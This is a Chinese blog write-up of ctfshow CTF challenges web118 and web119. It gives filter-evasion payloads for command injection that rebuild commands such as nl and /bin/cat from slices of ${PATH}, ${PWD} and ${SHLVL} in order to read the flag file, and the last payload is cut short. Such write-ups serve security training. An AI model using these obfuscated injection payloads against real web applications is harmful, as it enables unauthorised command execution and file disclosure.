[ctfshow]web入门——命令执行
本文来自csdn的⭐️shu天⭐️,平时会记录ctf、取证和渗透相关的文章,欢迎大家来我的主页:shu天_CSDN博客-ctf,取证,web领域博主 看看ヾ(@ ˘ω˘ @)ノ!!
web118
源码里有提示
非法输入会有evil input
fuzz一下发现可以用大写字母A-Z
和${}~.?:
# echo ${PWD}
/root
# echo ${PWD:0:1} #表示从0下标开始的第一个字符
/
# echo ${PWD:~0:1} #从结尾开始往前的第一个字符
t
# echo ${PWD:~0}
t
# echo ${PWD:~A} #所以字母和0具有同样作用
t
# echo ${PATH}
/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
//利用系统变量构造nl命令
${
PATH:~A}${
PWD:~A}$IFS????.???
${
PATH:~A}${
PWD:~A}是nl
还有别的利用${PATH}构造的payload
SHLVL
是记录多个 Bash 进程实例嵌套深度的累加器,进程第一次打开shell时${SHLVL}=1
,然后在此shell中再打开一个shell时${SHLVL}=2
。
${PWD:${#}:${SHLVL}}
就输出/
${#}是0,${SHLVL}为1
${#PWD}是回显字符数,${PWD} 是/root,${#PWD}是5
因为数字被屏蔽了,所以需要${#}来替代数字,截取想要的字符串
#${RANDOM}是随机数,${#RANDOM}一般是5,也可能是4
${
PATH:${
#HOME}:${
#SHLVL}}${
PATH:${
#RANDOM}:${
#SHLVL}} ?${
PATH:${
#RANDOM}:${
#SHLVL}}??.???
#其他师傅
${
PATH:~A}${
PATH:${
#TERM}:${
SHLVL:~A}} ????.???
web119
这次禁用了${PATH
PHP_VERSION=7.3.22
payload为
${
PWD:${
#}:${
#SHLVL}}???${
PWD:${
#}:${
#SHLVL}}?${
USER:~${
PHP_VERSION:~A}:${
PHP_VERSION:~A}} ????.???
# pwd=/var/www/html
# USER=www-data
# payload即为 /???/?at ???<